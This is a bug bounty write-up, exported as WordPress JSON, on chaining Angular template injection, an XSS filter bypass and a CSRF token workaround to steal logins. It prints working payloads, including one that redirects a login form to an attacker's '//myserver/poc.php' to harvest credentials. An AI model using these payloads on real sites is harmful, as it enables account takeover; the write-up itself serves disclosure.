{"id":252,"date":"2022-10-25T20:41:34","date_gmt":"2022-10-25T18:41:34","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=252"},"modified":"2026-04-27T22:18:26","modified_gmt":"2026-04-27T20:18:26","slug":"chaining-multiple-vulnerabilities-for-credential-stealing","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","title":{"rendered":"Chaining multiple vulnerabilities for credential stealing"},"content":{"rendered":"<p>Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com.<\/p>\n<h3>Angular template injection<\/h3>\n<p>I&#8217;ve visited https:\/\/subdomain.redacted.com and Wappalizer told me it&#8217;s built with Angular 1.8.2. There is a login form on the main site which I tested against angular template injection. I put {{7*7}} as login and xxx as password and after pressing the login button I saw 49 in the login field. I had an angular template injection. Good. It was time to check for XSS. I looked around and found the following payload for Angular 1.6+.:<\/p>\n<blockquote class=\"wrapped\"><p>{{constructor.constructor(&#8216;alert(document.domain)&#8217;)()}}<\/p><\/blockquote>\n<p>I put it as a login, clicked the button and the alert popped up. Hurray! So far so good. But I&#8217;ve got only self-XSS. Not much useful.<\/p>\n<h3>Bypassing CSRF &#8211; transforming self xss to post-based xss<\/h3>\n<p>This was a POST form so what I could try here is to get POST-based XSS. I copied the form to a local file and tried to post it but the error occurred.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-265\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\" alt=\"\" width=\"736\" height=\"171\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg 736w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request-300x70.jpg 300w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/p>\n<p>I noticed the RequestVerificationToken field in the form.<\/p>\n<blockquote class=\"wrapped\"><p>&lt;input name=&#8221;__RequestVerificationToken&#8221; type=&#8221;hidden&#8221; value=&#8221;wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81&#8243; \/&gt;<\/p><\/blockquote>\n<p>That was the cause of failure. The CSRF token was protecting the form. I tried several common bypasses but end up with nothing. Ok. I analyzed the POST request while submitting the form and I saw another RequestVerificationToken, this time sent as a cookie.<\/p>\n<blockquote class=\"wrapped\"><p>__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE<\/p><\/blockquote>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-361 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1.jpg\" alt=\"\" width=\"1524\" height=\"592\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1.jpg 1524w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-300x117.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-1024x398.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-768x298.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-850x330.jpg 850w\" sizes=\"auto, (max-width: 1524px) 100vw, 1524px\" \/><\/p>\n<p>As we can see the application was built with ASP.NET. This token was different from this on the form. After some time of playing with both tokens, I figured out I need to set the form token as well as the cookie token respectively. I came up with the following scenario:<\/p>\n<p>1. I use PHP curl to fetch the website source code to extract both tokens from the cookie header and HTML source.<br \/>\n2. I create the form with injected stolen CSRF token (form token) and angular template payload<br \/>\n3. To set the cookie token I need XSS on some redacted.com subdomain, which will set the cookie like this:<\/p>\n<blockquote class=\"wrapped\"><p>document.cookie=&#8221;__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=\/; domain=.redacted.com&#8221;;<\/p><\/blockquote>\n<p>As site B can&#8217;t set cookies on site A, the cookie set with domain .redacted.com will be accessible from all other redacted.com subdomains &#8211; also from our target subdomain.redacted.com.<br \/>\n4. After setting the CSRF cookie with another XSS, I return to my attacking script and submit the actual form running angular XSS payload.<br \/>\n5. Spoiler: Yep it has worked \ud83d\ude00<\/p>\n<h3>Bypassing the XSS filter to set the CSRF token cookie<\/h3>\n<p>I had difficulty finding valid exploitable XSS however after not so short time I found one. Let&#8217;s call it xsssubdomain.redacted.com:<\/p>\n<blockquote class=\"wrapped\"><p>https:\/\/xsssubdomain.redacted.com\/somewhere\/file.cfm<\/p><\/blockquote>\n<p>This was also POST-based XSS, however, this time the form was not protected by a CSRF token and no WAF was in place. However, there was XSS filter protection. The form consisted of multiple parameters, I focused on the first one &#8211; address and started playing with burp requests. I noticed that I can inject some HTML content without problems:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-359 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1.jpg\" alt=\"\" width=\"1799\" height=\"269\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1.jpg 1799w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-300x45.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-1024x153.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-768x115.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-1536x230.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-850x127.jpg 850w\" sizes=\"auto, (max-width: 1799px) 100vw, 1799px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>The h1 header rendered on the site &#8211; successfully injected HTML. Now I tried to inject an image tag, but\u00a0 I failed. There was some kind of filter in place:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-360 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1.jpg\" alt=\"\" width=\"1660\" height=\"343\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1.jpg 1660w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-300x62.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-1024x212.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-768x159.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-1536x317.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-850x176.jpg 850w\" sizes=\"auto, (max-width: 1660px) 100vw, 1660px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Both img tag and src attribute were cut out. Now I tried with script tag payload. The &#8220;Invalid Tag&#8221; was detected:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-362 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1.jpg\" alt=\"\" width=\"1679\" height=\"283\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1.jpg 1679w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-300x51.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-1024x173.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-768x129.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-1536x259.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-850x143.jpg 850w\" sizes=\"auto, (max-width: 1679px) 100vw, 1679px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>I figured out the filter works in a blacklist way, removing some tags or events. So I decided to look for ones that are not blacklisted. To do that I\u00a0 copied all the tags and events to txt files from <a href=\"https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet\" target=\"_blank\" rel=\"noopener\">https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet.<\/a> Then I used the great <a href=\"https:\/\/portswigger.net\/bappstore\/9abaa233088242e8be252cd4ff534988\" target=\"_blank\" rel=\"noopener\">Turbo Intruder plugin<\/a> for Burp by James Kettle. I use Burp Community Edition, so the standard intruder is pretty slow there. That&#8217;s why I used the one on steroids :). I gathered all accepted tags. Then made the second round, this time looking for the events. The goal was to find such a combination of them that I could build the XSS payload. The <em>onauxclick<\/em> event was whitelisted so I managed to build the first working payload:<\/p>\n<blockquote><p>XXX&#8221; onauxclick=document.write(document.domain)<\/p><\/blockquote>\n<p>As the injection was inside the input tag, this payload required user interaction &#8211; click with the right mouse button on the input. It worked but it was not what I wanted &#8211; which means no user interaction. I was looking further and found that video tag and oncanplay event are whitelisted also. So I tried this payload:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-256\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss.jpg\" alt=\"\" width=\"1136\" height=\"126\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss.jpg 1136w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-300x33.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-1024x114.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-768x85.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-850x94.jpg 850w\" sizes=\"auto, (max-width: 1136px) 100vw, 1136px\" \/><\/p>\n<p>And I ended up with:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-363 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1.jpg\" alt=\"\" width=\"1571\" height=\"142\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1.jpg 1571w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-300x27.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-1024x93.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-768x69.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-1536x139.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-850x77.jpg 850w\" sizes=\"auto, (max-width: 1571px) 100vw, 1571px\" \/><\/p>\n<p>Damn. The whole tag was cut out. I started playing with magical %0d,%0a, and %09 ASCII codes which are respectively CR, LF, and TAB to bypass the filter and it worked \ud83d\ude42 Putting %0d fooled the filter and what I got was:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-258\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write.jpg\" alt=\"\" width=\"1820\" height=\"272\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write.jpg 1820w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-300x45.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-1024x153.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-768x115.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-1536x230.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-850x127.jpg 850w\" sizes=\"auto, (max-width: 1820px) 100vw, 1820px\" \/><\/p>\n<p>To make it work I needed the valid mp4 file as the javascript code executes if the movie can be played. I created a very short mp4 video with the tool <a href=\"https:\/\/clideo.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/clideo.com\/<\/a> and put it online, suppose here: <em>https:\/\/myserver\/video.mp4<\/em>.\u00a0 I\u00a0 added the autoplay attribute to make the video start playing at once. Then I used the video URL in the payload and&#8230; another surprise:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-275\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1.jpg\" alt=\"\" width=\"1553\" height=\"149\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1.jpg 1553w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-300x29.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-1024x98.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-768x74.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-1536x147.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-850x82.jpg 850w\" sizes=\"auto, (max-width: 1553px) 100vw, 1553px\" \/><\/p>\n<p>The HTTP part was cut out. Grrrr&#8230; Fortunately, I could write the same URL as <em>\/\/myserver\/video.mp4<\/em>. This was not cut out, so I started to develop the final payload which was about to set the cookie:<\/p>\n<blockquote class=\"wrapped\"><p>XXX&#8221;&gt;&lt;video autoplay oncanplay%0d=%0ddocument.cookie(&#8220;__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.redacted.com; samesite=none&#8221;)&gt;&lt;source src%0d=&#8221;\/\/myserver\/video.mp4&#8243; type=&#8221;video\/mp4&#8243;&gt;&lt;\/video&gt;&lt;!&#8211;<\/p><\/blockquote>\n<p>I added &lt;&#8211; at the end of the payload which makes the exploit a bit faster. The response was pretty shocking.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-364 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1.jpg\" alt=\"\" width=\"1593\" height=\"194\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1.jpg 1593w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-300x37.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-1024x125.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-768x94.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-1536x187.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-850x104.jpg 850w\" sizes=\"auto, (max-width: 1593px) 100vw, 1593px\" \/><\/p>\n<p>Where the hell is the video tag I asked myself!!!! After another long while, I figured out that the name of the cookie was the problem. This must have been some other protection filter in place. If I set the cookie name to &#8216;__RequestVerification&#8217; the payload worked and the response was ok. If I only add one character to the end of the cookie name such as\u00a0 &#8216;__RequestVerificationX&#8217;, the &lt;video&gt; tag was cut out. I tried all &#8220;magic&#8221; char sequences again but nothing worked :(. After a short break from working on the problem&#8230; eureka. The &#8220;__RequestVerificationToken_L2HvYbluXTkr&#8221; string was in a javascript context &#8211; the parameter of document.cookie method, so how about string concatenation:<\/p>\n<p>&#8220;RequestVerification&#8221;+&#8221;Token_L2HvYbluXTkr&#8221;<\/p>\n<p>And guess what? It worked like a charm :). Some chars should be urlencoded into, so the final working payload was:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-366 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1.jpg\" alt=\"\" width=\"1594\" height=\"209\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1.jpg 1594w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-300x39.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-1024x134.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-768x101.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-1536x201.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-850x111.jpg 850w\" sizes=\"auto, (max-width: 1594px) 100vw, 1594px\" \/><\/p>\n<p>&nbsp;<\/p>\n<blockquote class=\"wrapped\"><p>XXX&#8221;&gt;&lt;\/td&gt;&lt;video autoplay oncanplay%0d=%0d%27document.write();document.cookie=&#8221;__RequestVerification&#8221;%2b&#8221;Token_L2HvYbluXTkr=TOKENVALUE;domain=.redacted.com;path=\/;samesite=none&#8221;;document.location.href=&#8221;\/\/myserver\/POC.php?ret=1%26rvtf=FORMTOKENVALUE&#8221;%27&gt;&lt;source src%0d=&#8221;\/\/myserver\/video.mp4&#8243; type=&#8221;video\/mp4&#8243;&gt;&lt;\/video&gt;&lt;!&#8211;<\/p><\/blockquote>\n<p>It does the following things:<\/p>\n<ul>\n<li>clears the screen as the xss site might be visible for a fraction of second<\/li>\n<li>sets the RequestVerification cookie via XSS on xssubdomain<\/li>\n<li>redirects back the user to the attacker&#8217;s POC script<\/li>\n<\/ul>\n<h3>Stealing credentials from subdomain.redacted.com<\/h3>\n<p>The angular-based XSS was placed inside the login form. I don&#8217;t know If I could steal the session cookie with it from the authenticated user as when the user is logged in, he does not see the login form. Besides, I don&#8217;t have an account on the site to check it. I figured out I can put the payload which steals the credentials from the form as the user is logging in. This time the login and password are sent to the attacker&#8217;s script, stored somewhere in the file, and get back to the real site. So from the point of view of the victim, he\/she just made a mistake, maybe mistyped the credentials.<\/p>\n<p>At first, I tried to send the credentials via ajax request &#8211; it was obviously blocked by CORS. The second attempt was to send them by putting<em> img.src<\/em> object into the payload sending them via image loading. It worked in some other cases, however in this case it did not. In the response, I got NS_BINDING_ABORTED in Firefox. I have no idea why. The simplest solution I figured out was to change the <em>action<\/em> attribute of the form and instead of sending the form data to the target site, it sent it to my poc.php script. I had to encode apostrophes into HTML entities to be able to put the payload as the value. The final payload was like this:<\/p>\n<blockquote class=\"wrapped\"><p>{{constructor.constructor(&amp;#39$(&#8220;div.validation-summary-errors&#8221;).hide();$(&#8220;input[type=submit]&#8221;).click(function(e){$(&#8220;#loginform&#8221;).attr(&#8220;action&#8221;,&#8221;\/\/myserver\/poc.php&#8221;);})&amp;#39)()}}<\/p><\/blockquote>\n<p>It does two things:<\/p>\n<ul>\n<li>hides error messages while executing template injection<\/li>\n<li>changes the target of an action attribute to the poc.php script<\/li>\n<\/ul>\n<p>The poc.php script received the credentials, stored them in the file called stolen_credentials.txt, and redirected the victim back to the original login form.<\/p>\n<h3>The PHP code of the POC<\/h3>\n<p>This is the code I used to chain all the vulnerabilities together. Sorry for the spaghetti. It&#8217;s just an exploit :).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-287\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5.png\" alt=\"\" width=\"1280\" height=\"2889\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5.png 1280w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-133x300.png 133w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-454x1024.png 454w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-768x1733.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-681x1536.png 681w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-907x2048.png 907w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-300x677.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-850x1918.png 850w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/p>\n<p>The post-based XSS was out of scope in this program. I knew it from the beginning, however, took it as a challenge and was hoping to be in scope as I am showing an account takeover vulnerability here. Unfortunately, after a long time spent explaining my point of view, the report was closed as N\/A anyway \ud83e\udd37.<\/p>\n<p>Update: after looong time discussing this issue with triagers, the company reviewed the report again and the risk of this vulnerability was estimated as high \ud83d\ude42<\/p>\n<p>Reward : $$$<\/p>\n<p>See you next bug \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com. Angular template injection I&#8217;ve visited https:\/\/subdomain.redacted.com and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,32,29],"tags":[18,35,24,23],"class_list":["post-252","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-bug-bounty","category-write-up","tag-account-takeover","tag-csrf","tag-reflected-xss","tag-self-xss"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=252"}],"version-history":[{"count":20,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252\/revisions"}],"predecessor-version":[{"id":367,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252\/revisions\/367"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=252"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=252"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=252"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}